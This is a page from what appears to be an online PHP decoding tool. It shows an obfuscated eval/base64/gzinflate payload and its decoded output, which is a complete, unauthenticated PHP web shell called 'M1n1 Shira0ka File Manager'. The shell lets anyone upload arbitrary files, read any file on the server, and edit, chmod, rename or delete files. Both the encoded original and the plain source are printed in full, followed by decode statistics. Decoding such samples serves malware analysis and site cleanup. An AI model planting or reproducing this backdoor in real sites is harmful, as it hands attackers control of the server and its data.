Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval('?>'.gzuncompress(gzinflate(base64_decode(strrev("==QqsSKC/Re503AVaT0BSWsTtgjc..

Decoded Output download

?>b'<?php
echo \'<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="" rel="stylesheet" type="text/css">
<title>M1n1 Shira0ka</title>
<style>
body{
	font-family: "Racing Sans One", cursive;
	background-color: #e6e6e6;
	text-shadow:0px 0px 1px #757575;
}
#content tr:hover{
background-color: #636263;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: silver;
}
#content .first:hover{
background-color: silver;
text-shadow:0px 0px 1px #757575;
}
table{
	border: 1px #000000 dotted;
}
H1{
	font-family: "Rye", cursive;
}
a{
	color: #000;
	text-decoration: none;
}
a:hover{
	color: #fff;
	text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
	border: 1px #000000 solid;
	-moz-border-radius: 5px;
	-webkit-border-radius:5px;
	border-radius:5px;
}
</style>
</HEAD>
<BODY>
<H1><center>M1n1 Shira0ka File Manager</center></H1>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Current Path : \';
if(isset($_GET[\'path\'])){
	$path = $_GET[\'path\'];
}else{
	$path = getcwd();
}
$path = str_replace(\'\\',\'/\',$path);
$paths = explode(\'/\',$path);

foreach($paths as $id=>$pat){
	if($pat == \'\' && $id == 0){
		$a = true;
		echo \'<a href="?path=/">/</a>\';
		continue;
	}
	if($pat == \'\') continue;
	echo \'<a href="?path=\';
	for($i=0;$i<=$id;$i++){
		echo "$paths[$i]";
		if($i != $id) echo "/";
	}
	echo \'">\'.$pat.\'</a>/\';
}
echo \'</td></tr><tr><td>\';
if(isset($_FILES[\'file\'])){
	if(copy($_FILES[\'file\'][\'tmp_name\'],$path.\'/\'.$_FILES[\'file\'][\'name\'])){
		echo \'<font color="green">File Upload Done.</font><br />\';
	}else{
		echo \'<font color="red">File Upload Error.</font><br />\';
	}
}
echo \'<form enctype="multipart/form-data" method="POST">
Upload File : <input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</td></tr>\';
if(isset($_GET[\'filesrc\'])){
	echo "<tr><td>Current File : ";
	echo $_GET[\'filesrc\'];
	echo \'</tr></td></table><br />\';
	echo(\'<pre>\'.htmlspecialchars(file_get_contents($_GET[\'filesrc\'])).\'</pre>\');
}elseif(isset($_GET[\'option\']) && $_POST[\'opt\'] != \'delete\'){
	echo \'</table><br /><center>\'.$_POST[\'path\'].\'<br /><br />\';
	if($_POST[\'opt\'] == \'chmod\'){
		if(isset($_POST[\'perm\'])){
			if(chmod($_POST[\'path\'],$_POST[\'perm\'])){
				echo \'<font color="green">Change Permission Done.</font><br />\';
			}else{
				echo \'<font color="red">Change Permission Error.</font><br />\';
			}
		}
		echo \'<form method="POST">
		Permission : <input name="perm" type="text" size="4" value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'path\'])), -4).\'" />
		<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">
		<input type="hidden" name="opt" value="chmod">
		<input type="submit" value="Go" />
		</form>\';
	}elseif($_POST[\'opt\'] == \'rename\'){
		if(isset($_POST[\'newname\'])){
			if(rename($_POST[\'path\'],$path.\'/\'.$_POST[\'newname\'])){
				echo \'<font color="green">Change Name Done.</font><br />\';
			}else{
				echo \'<font color="red">Change Name Error.</font><br />\';
			}
			$_POST[\'name\'] = $_POST[\'newname\'];
		}
		echo \'<form method="POST">
		New Name : <input name="newname" type="text" size="20" value="\'.$_POST[\'name\'].\'" />
		<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">
		<input type="hidden" name="opt" value="rename">
		<input type="submit" value="Go" />
		</form>\';
	}elseif($_POST[\'opt\'] == \'edit\'){
		if(isset($_POST[\'src\'])){
			$fp = fopen($_POST[\'path\'],\'w\');
			if(fwrite($fp,$_POST[\'src\'])){
				echo \'<font color="green">Edit File Done.</font><br />\';
			}else{
				echo \'<font color="red">Edit File Error.</font><br />\';
			}
			fclose($fp);
		}
		echo \'<form method="POST">
		<textarea cols=80 rows=20 name="src">\'.htmlspecialchars(file_get_contents($_POST[\'path\'])).\'</textarea><br />
		<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">
		<input type="hidden" name="opt" value="edit">
		<input type="submit" value="Go" />
		</form>\';
	}
	echo \'</center>\';
}else{
	echo \'</table><br /><center>\';
	if(isset($_GET[\'option\']) && $_POST[\'opt\'] == \'delete\'){
		if($_POST[\'type\'] == \'dir\'){
			if(rmdir($_POST[\'path\'])){
				echo \'<font color="green">Delete Dir Done.</font><br />\';
			}else{
				echo \'<font color="red">Delete Dir Error.</font><br />\';
			}
		}elseif($_POST[\'type\'] == \'file\'){
			if(unlink($_POST[\'path\'])){
				echo \'<font color="green">Delete File Done.</font><br />\';
			}else{
				echo \'<font color="red">Delete File Error.</font><br />\';
			}
		}
	}
	echo \'</center>\';
	$scandir = scandir($path);
	echo \'<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
	<tr class="first">
	<td><center>Name</center></td>
	<td><center>Size</center></td>
	<td><center>Permissions</center></td>
	<td><center>Options</center></td>
	</tr>\';

	foreach($scandir as $dir){
		if(!is_dir("$path/$dir") || $dir == \'.\' || $dir == \'..\') continue;
		echo "<tr>
		<td><a href=\"?path=$path/$dir\">$dir</a></td>
		<td><center>--</center></td>
		<td><center>";
		if(is_writable("$path/$dir")) echo \'<font color="green">\';
		elseif(!is_readable("$path/$dir")) echo \'<font color="red">\';
		echo perms("$path/$dir");
		if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo \'</font>\';

		echo "</center></td>
		<td><center><form method=\"POST\" action=\"?option&path=$path\">
		<select name=\"opt\">
		<option value=\"\"></option>
		<option value=\"delete\">Delete</option>
		<option value=\"chmod\">Chmod</option>
		<option value=\"rename\">Rename</option>
		</select>
		<input type=\"hidden\" name=\"type\" value=\"dir\">
		<input type=\"hidden\" name=\"name\" value=\"$dir\">
		<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
		<input type=\"submit\" value=\">\" />
		</form></center></td>
		</tr>";
	}
	echo \'<tr class="first"><td></td><td></td><td></td><td></td></tr>\';
	foreach($scandir as $file){
		if(!is_file("$path/$file")) continue;
		$size = filesize("$path/$file")/1024;
		$size = round($size,3);
		if($size >= 1024){
			$size = round($size/1024,2).\' MB\';
		}else{
			$size = $size.\' KB\';
		}

		echo "<tr>
		<td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
		<td><center>".$size."</center></td>
		<td><center>";
		if(is_writable("$path/$file")) echo \'<font color="green">\';
		elseif(!is_readable("$path/$file")) echo \'<font color="red">\';
		echo perms("$path/$file");
		if(is_writable("$path/$file") || !is_readable("$path/$file")) echo \'</font>\';
		echo "</center></td>
		<td><center><form method=\"POST\" action=\"?option&path=$path\">
		<select name=\"opt\">
		<option value=\"\"></option>
		<option value=\"delete\">Delete</option>
		<option value=\"chmod\">Chmod</option>
		<option value=\"rename\">Rename</option>
		<option value=\"edit\">Edit</option>
		</select>
		<input type=\"hidden\" name=\"type\" value=\"file\">
		<input type=\"hidden\" name=\"name\" value=\"$file\">
		<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
		<input type=\"submit\" value=\">\" />
		</form></center></td>
		</tr>";
	}
	echo \'</table>
	</div>\';
}
echo \'<br><center>GO Party By <font color="red">You</font></center>
</BODY>
</HTML>\';
function perms($file){
	$perms = fileperms($file);

	if (($perms & 0xC000) == 0xC000) {
// Socket
		$info = \'s\';
	} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
		$info = \'l\';
	} elseif (($perms & 0x8000) == 0x8000) {
// Regular
		$info = \'-\';
	} elseif (($perms & 0x6000) == 0x6000) {
// Block special
		$info = \'b\';
	} elseif (($perms & 0x4000) == 0x4000) {
// Directory
		$info = \'d\';
	} elseif (($perms & 0x2000) == 0x2000) {
// Character special
		$info = \'c\';
	} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
		$info = \'p\';
	} else {
// Unknown
		$info = \'u\';
	}

// Owner
	$info .= (($perms & 0x0100) ? \'r\' : \'-\');
	$info .= (($perms & 0x0080) ? \'w\' : \'-\');
	$info .= (($perms & 0x0040) ?
		(($perms & 0x0800) ? \'s\' : \'x\' ) :
		(($perms & 0x0800) ? \'S\' : \'-\'));

// Group
	$info .= (($perms & 0x0020) ? \'r\' : \'-\');
	$info .= (($perms & 0x0010) ? \'w\' : \'-\');
	$info .= (($perms & 0x0008) ?
		(($perms & 0x0400) ? \'s\' : \'x\' ) :
		(($perms & 0x0400) ? \'S\' : \'-\'));

// World
	$info .= (($perms & 0x0004) ? \'r\' : \'-\');
	$info .= (($perms & 0x0002) ? \'w\' : \'-\');
	$info .= (($perms & 0x0001) ?
		(($perms & 0x0200) ? \'t\' : \'x\' ) :
		(($perms & 0x0200) ? \'T\' : \'-\'));

	return $info;
}
?>'

Did this file decode correctly?

Original Code

<?php
eval('?>'.gzuncompress(gzinflate(base64_decode(strrev("==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")))));

Function Calls

strrev 1
gzinflate 1
gzuncompress 1
base64_decode 1

Variables

None

Stats

MD5 258f2553d44b6b0b16caa6b15c16b644
Eval Count 1
Decode Time 98 ms